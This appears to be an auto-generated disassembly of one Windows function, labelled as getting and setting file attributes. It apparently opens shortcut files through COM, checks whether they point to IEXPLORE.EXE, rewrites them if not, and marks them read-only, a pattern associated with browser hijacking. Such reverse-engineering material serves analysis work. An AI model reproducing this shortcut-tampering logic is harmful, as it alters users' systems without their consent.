Function at 0x401b40
Capabilities:
Get file attributes
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x41d736
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x21c
push ebx
push ebp
push esi
push edi
mov esi, ecx
push 0x10000000
push ecx
lea eax, [esp + 0x244]
mov ebx, 1
mov ecx, esp
mov dword [esp + 0x24], esp
push eax
mov dword [esp + 0x240], ebx
call fcn.00418127
mov ecx, esi
call fcn.00403150
mov ecx, dword [esp + 0x23c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edx, dword [esp + 0x23c]
mov ebp, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
and al, 0xfe
push eax
push edx
call ebp
lea eax, [esp + 0x23c]
lea ecx, [esp + 0x18]
push eax
xor edi, edi
call fcn.00418127
push edi
mov byte [esp + 0x238], 2
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x401c16
lea ecx, [esp + 0x18]
mov byte [esp + 0x234], bl
call fcn.004183b2
lea ecx, [esp + 0x23c]
mov byte [esp + 0x234], 0
call fcn.004183b2
lea ecx, [esp + 0x240]
mov dword [esp + 0x234], 0xffffffff
call fcn.004183b2
xor eax, eax
jmp 0x401dd2
lea ecx, [esp + 0x10]
push ecx
push 0x420ed0
push ebx
push 0
push 0x420ec0
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jne 0x401d4e
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push 0x420ee0
mov edx, dword [eax]
push eax
call dword [edx]
test eax, eax
jne 0x401d4e
mov eax, dword [esp + 0x23c]
lea edx, [esp + 0x24]
push 0x104
push edx
push 0xffffffffffffffff
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push 2
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
test eax, eax
jl 0x401d4e
mov eax, dword [esp + 0x10]
push 2
push 0
push 0x400
mov ebx, dword [eax]
push 0x400
lea ecx, [esp + 0x24c]
call fcn.00418796
mov ecx, dword [esp + 0x1c]
push eax
push ecx
call dword [ebx + 0xc]
mov edx, dword [esp + 0x23c]
lea ecx, [esp + 0x23c]
mov eax, dword [edx - 8]
push eax
push 0x5c
call fcn.00413d24
inc eax
lea ecx, [esp + 0x240]
push eax
lea eax, [esp + 0x24]
push eax
call fcn.00413b9a
push eax
lea ecx, [esp + 0x240]
mov byte [esp + 0x238], 3
call fcn.0041849f
lea ecx, [esp + 0x1c]
mov byte [esp + 0x234], 2
call fcn.004183b2
lea ecx, [esp + 0x23c]
call fcn.0041882d
mov ecx, dword [esp + 0x23c]
push str.IEXPLORE.EXE
push ecx
call fcn.00405910
add esp, 8
test eax, eax
jne 0x401d4e
mov ecx, dword [esp + 0x10]
mov eax, dword [esi + 0x8c]
push eax
push ecx
mov edx, dword [ecx]
mov edi, 1
call dword [edx + 0x2c]
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x24]
push edi
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x18]
mov eax, dword [esp + 0x14]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [esp + 0x10]
push eax
mov edx, dword [eax]
call dword [edx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [esp + 0x23c]
push 1
push eax
call ebp
push 0x80000000
push ecx
lea edx, [esp + 0x244]
mov ecx, esp
mov dword [esp + 0x28], esp
push edx
call fcn.00418127
mov ecx, esi
call fcn.00403150
lea ecx, [esp + 0x18]
mov byte [esp + 0x234], 1
call fcn.004183b2
lea ecx, [esp + 0x23c]
mov byte [esp + 0x234], 0
call fcn.004183b2
lea ecx, [esp + 0x240]
mov dword [esp + 0x234], 0xffffffff
call fcn.004183b2
mov eax, edi
mov ecx, dword [esp + 0x22c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
pop ebx
add esp, 0x228
ret 8